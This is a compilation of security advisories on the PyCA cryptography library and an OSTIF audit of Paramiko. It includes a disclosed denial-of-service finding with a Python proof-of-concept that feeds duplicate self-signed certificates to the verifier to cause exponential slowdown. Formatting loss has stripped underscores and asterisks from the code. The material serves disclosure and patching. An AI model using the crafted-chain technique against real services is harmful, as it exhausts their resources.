Summary When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.
This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.
Details The core issue arises in the recursive nature of buildchaininner, which does not de-duplicate against previously analyzed candidates.
python fn buildchaininner( &self, workingcert: &VerificationCertificate<'chain, B>, currentdepth: u8, workingcertextensions: &Extensions<'chain>, namechain: NameChain<', 'chain>, budget: &mut Budget, ) -> ValidationResult<'chain, Chain<'chain, B>, B> { if let Some(nc) = workingcertextensions.getextension(&NAMECONSTRAINTSOID) { namechain.evaluateconstraints(&nc.value()?, budget)?; }
// Look in the store's root set to see if the working cert is listed. // If it is, we've reached the end. if self.store.contains(workingcert) { return Ok(vec![workingcert.clone()]); }
// Check that our current depth does not exceed our policy-configured // max depth. We do this after the root set check, since the depth // only measures the intermediate chain's length, not the root or leaf. if currentdepth > self.policy.maxchaindepth { return Err(ValidationError::new(ValidationErrorKind::Other( "chain construction exceeds max depth".into(), ))); }
// Otherwise, we collect a list of potential issuers for this cert, // and continue with the first that verifies. let mut lasterr: Option<ValidationError<', B>> = None; for issuingcertcandidate in self.potentialissuers(workingcert) { // A candidate issuer is said to verify if it both // signs for the working certificate and conforms to the // policy. let issuerextensions = issuingcertcandidate.certificate().extensions()?; match self.policy.validissuer( issuingcertcandidate, workingcert, currentdepth, &issuerextensions, ) { Ok() => { match self.buildchaininner(
A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.
rust let mut seenvalidissuers = Vec::<&VerificationCertificate<'chain, B>>::new(); for issuingcertcandidate in self.potentialissuers(workingcert) { . . . Ok() => { if seenvalidissuers.contains(&issuingcertcandidate) { continue; } seenvalidissuers.push(issuingcertcandidate); match self.buildchaininner( issuingcertcandidate, // NOTE(ww): According to RFC 5280, we should only
In testing, this fix removed the exponential blowup without breaking apparent correctness.
duplicates,maxdepth,result,seconds 1,7,rejected,0.000464 -> 1,7,rejected,0.000667 2,7,rejected,0.025154 -> 2,7,rejected,0.001229 3,7,rejected,0.489924 -> 3,7,rejected,0.001619 4,7,rejected,4.309403 -> 4,7,rejected,0.002144 3,8,rejected,1.468193 -> 3,8,rejected,0.001811 4,8,timeout>5s, -> 4,8,rejected,0.002410 5,7,timeout>5s, -> 5,7,rejected,0.002640 6,6,timeout>5s, -> 6,6,rejected,0.002829
PoC The following script benchmarks processing times for malicious cert chains.
python import datetime import multiprocessing import time
import cryptography from cryptography import x509 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID from cryptography.x509.verification import ( DNSName, PolicyBuilder, Store, VerificationError, )
NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc) TIMEOUT = 5 CAKEYUSAGE = x509.KeyUsage( digitalsignature=True, contentcommitment=False, keyencipherment=False, dataencipherment=False, keyagreement=False, keycertsign=True, crlsign=True, encipheronly=False, decipheronly=False, ) EEKEYUSAGE = x509.KeyUsage( digitalsignature=True, contentcommitment=False, keyencipherment=False, dataencipherment=False, keyagreement=False, keycertsign=False, crlsign=False, encipheronly=False, decipheronly=False, )
def name(commonname): return x509.Name([x509.NameAttribute(NameOID.COMMONNAME, commonname)])
def basebuilder(subject, issuer, publickey, serial): return ( x509.CertificateBuilder() .subjectname(subject) .issuername(issuer) .publickey(publickey) .serialnumber(serial) .notvalidbefore(NOW - datetime.timedelta(days=1)) .notvalidafter(NOW + datetime.timedelta(days=30)) )
def makeca(commonname, serial): privatekey = ec.generateprivatekey(ec.SECP256R1()) subject = name(commonname) cert = ( basebuilder(subject, subject, privatekey.publickey(), serial) .addextension(x509.BasicConstraints(ca=True, pathlength=None), True) .addextension(CAKEYUSAGE, True) .addextension( x509.SubjectKeyIdentifier.frompublickey(privatekey.publickey()), False, ) .sign(privatekey, hashes.SHA256()) ) return privatekey, cert
def makeleaf(issuerkey, issuercert): privatekey = ec.generateprivatekey(ec.SECP256R1()) return ( basebuilder(name("leaf"), issuercert.subject, privatekey.publickey(), 100) .addextension(x509.BasicConstraints(ca=False, pathlength=None), True) .addextension(EEKEYUSAGE, True) .addextension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False) .addextension( x509.AuthorityKeyIdentifier.fromissuerpublickey(issuerkey.publickey()), False, ) .addextension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVERAUTH]), False) .sign(issuerkey, hashes.SHA256()) )
def buildmaterial(): loopingkey, loopingca = makeca("looping self-signed CA", 1) , unrelatedroot = makeca("unrelated trust anchor", 2) leaf = makeleaf(loopingkey, loopingca) return leaf, loopingca, unrelatedroot
def verifycase(duplicates, maxdepth, queue): leaf, loopingca, unrelatedroot = buildmaterial() verifier = ( PolicyBuilder() .store(Store([unrelatedroot])) .time(NOW) .maxchaindepth(maxdepth) .buildserververifier(DNSName("example.com")) )
start = time.perfcounter() try: verifier.verify(leaf, [loopingca] duplicates) result = "accepted" except VerificationError: result = "rejected" queue.put((result, time.perfcounter() - start))
def runcase(duplicates, maxdepth): queue = multiprocessing.Queue() process = multiprocessing.Process( target=verifycase, args=(duplicates, maxdepth, queue), ) process.start() process.join(TIMEOUT)
if process.isalive(): process.terminate() process.join() print(f"{duplicates},{maxdepth},timeout>{TIMEOUT}s,") return
result, elapsed = queue.get() print(f"{duplicates},{maxdepth},{result},{elapsed:.6f}")
if name == "main": print("duplicates,maxdepth,result,seconds") for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]: runcase(case)
Impact This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.
https://ostif.org/paramiko-audit-complete/ announces: The Open Source Technology Improvement Fund is proud to share the results of our security audit of Paramiko. Paramiko is an open source Python implementation of the SSHv2 protocol designed for secure remote login and other secure network services. Thanks to the help of Quarkslab and Alpha-Omega, this project received custom security work reviewing Paramiko’s testing, building and CI systems, and cryptography.
Audit Process:
The engagement took place in November 2025, with Quarkslab’s audit team executing the mission on Paramiko’s testing, building, and CI systems. In order to effectively execute this work on critical security features of Paramiko, the scope was expanded to include PYCA Cryptography and how it interacts with Paramiko critical cryptographic functions, (PYCA) Cryptography’s OpenSSL Rust Bindings, and CI/CD CircleCI for Paramiko and Github Actions for (PYCA) Cryptography. For Paramiko the engagement consisted of manual code review, dependencies review, dynamic testing, build systems, testing enhancements, static analysis, and fuzz testing.
Audit Results:
30 Findings with Security Impact - 2 High - 7 Medium - 5 Low - 16 Informational Build and CI/CD Pipeline Review Testing Enhancements - Implementation of a crypto-condor plug-in to incorporate in the CI for cryptographic compliance and testing of entropy sources - Review of current testing coverage SSH RFC compliance review
The project maintainer worked diligently to address and resolve the issues presented by this report, engaging with the audit team to design fix solutions aligned with security best practices. Update to the most recent release of Paramiko (version 5.0 will release early May 2026) and follow documentation in order to take advantage of the hard work of the individuals behind Paramiko and Quarkslab. If you’re interested in contributing to Paramiko, learn more about them and their community on their website: https://www.paramiko.org/ .
Thank you to the individuals and groups that made this engagement possible:
Paramiko maintainers and community, especially: Jeff Forcier Quarkslab: Dahmun Goudarzi, Julio Loayza Meneses, Alan Marrec, and Pauline Sauder Alpha-Omega
You can read the Audit Report at https://ostif.org/wp-content/uploads/2026/05/25-11-2415-REPparamiko-security-auditv1.1.pdf
Everyone around the world depends on open source software. If you’re interested in financially supporting this critical work, reach out to contactus () ostif org. The findings listed in the audit report at higher than "Informational" are: HIGH-21 Insecure parameters for digital signatures with RSA HIGH-28 Insecure key sizes accepted for Triple DES [in Cryptography] MEDIUM-15 Deprecated group exchange method MEDIUM-16 Insecure minimum modulus size in Diffie-Hellman group exchange MEDIUM-17 Deprecated Diffie-Hellman group MEDIUM-18 Deprecated GSS-API key exchange methods MEDIUM-22 Use of 8-byte seed for TripleDES key generation MEDIUM-24 Wrong type usage in SHA-1 in KexGSSGroup1 and KexGSSGroup14 LOW-27 Invalid Ed25519 signature cause transport thread to crash LOW-29 Insecure RSA key size allowed RSA Keys in Paramiko and Cryptography LOW-30 Server can be instantiated over UDP socket with these recommendations to resolve them: HIGH-21 Remove support for RSA with SHA-1. HIGH-28 Reject key sizes that are not 24 bytes. MEDIUM-15 Remove support for diffie-hellman-group-exchange-sha1. MEDIUM-16 Increase the minimum modulus size to 2048 bits. MEDIUM-17 Remove support for diffie-hellman-group1-sha1. MEDIUM-18 Remove the deprecated key exchange methods, replacing them with RFC 8732 additions. MEDIUM-22 Reject 8-byte input for the key initialization of Triple DES. MEDIUM-24 Change str(hm) to hm.asbytes() in KexGSSGroup1. LOW-1 Update black to version 24.3.0. LOW-19 Warn when using this format, recommend the user to save their keys in PKCS8 or OpenSSH format instead. LOW-25 Either check the length of the signature before calling verify() or handle the exception. LOW-27 Handle the exception: either catch the nacl.exception.ValueError excep- tion or check that the signature has the correct length before calling verify(). LOW-29 Reject RSA keys that are shorter than 2048 bits. LOW-30 Add a check in Transport.init() to verify that sock is a TCP socket. -- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. From 45.0.0 to before 46.0.7, if a non-contiguous buffer was passed to APIs which accepted Python buffers (e.g. Hash.update()), this could lead to buffer overflows. This vulnerability is fixed in 46.0.7.
https://github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43 advises: Package: cryptography (pip) Affected versions: <= 46.0.5 Patched versions: >= 46.0.6 Severity: Low CVE ID: CVE-2026-34073 Weaknesses: CWE-295
Summary ------- In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for .example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com.
This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.
In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.
See CVE-2025-61727 for a similar bypass in Go's crypto/x509.
Remediation ----------- Users should upgrade to 46.0.6 or newer.
Attribution ----------- Reporter: 1seal (https://github.com/1seal)
-------- Forwarded Message -------- Subject: [Python-announce] PyCA cryptography 46.0.5 released Date: Tue, 10 Feb 2026 13:33:26 -0600 From: Paul Kehrer via Python-announce-list <python-announce-list () python org> Reply-To: python-list () python org To: cryptography-dev () python org, python-announce-list () python org CC: Paul Kehrer <paul.l.kehrer () gmail com>
PyCA cryptography 46.0.0 has been released to PyPI. cryptography includes both high level recipes and low level interfaces to common cryptographic algorithms such as symmetric ciphers, asymmetric algorithms, message digests, X.509, key derivation functions, and much more. We support Python 3.8+, and PyPy3 3.11.
Changelog (https://cryptography.io/en/latest/changelog/#v46-0-5) An attacker could create a malicious public key that reveals portions of your private key when using certain uncommon elliptic curves (binary curves). This version now includes additional security checks to prevent this attack. This issue only affects binary elliptic curves, which are rarely used in real-world applications. Credit to XlabAI Team of Tencent Xuanwu Lab and Atuin Automated Vulnerability Discovery Engine for reporting the issue. CVE-2026-26007 Support for SECT binary elliptic curves is deprecated and will be removed in the next release.
-Paul Kehrer (reaperhulk) Python-announce-list mailing list -- python-announce-list () python org To unsubscribe send an email to python-announce-list-leave () python org https://mail.python.org/mailman3//lists/python-announce-list.python.org Member address: alan.coopersmith () oracle com
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 46.0.5, the publickeyfromnumbers (or EllipticCurvePublicNumbers.publickey()), EllipticCurvePublicNumbers.publickey(), loadderpublickey() and loadpempublickey() functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victimprivatekey]P via ECDH, this leaks information about victimprivatekey mod (smallsubgrouporder). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. This vulnerability is fixed in 46.0.5.
It was discovered that python-cryptography incorrectly handled certain inputs. An attacker could possibly use this to get access to sensitive information.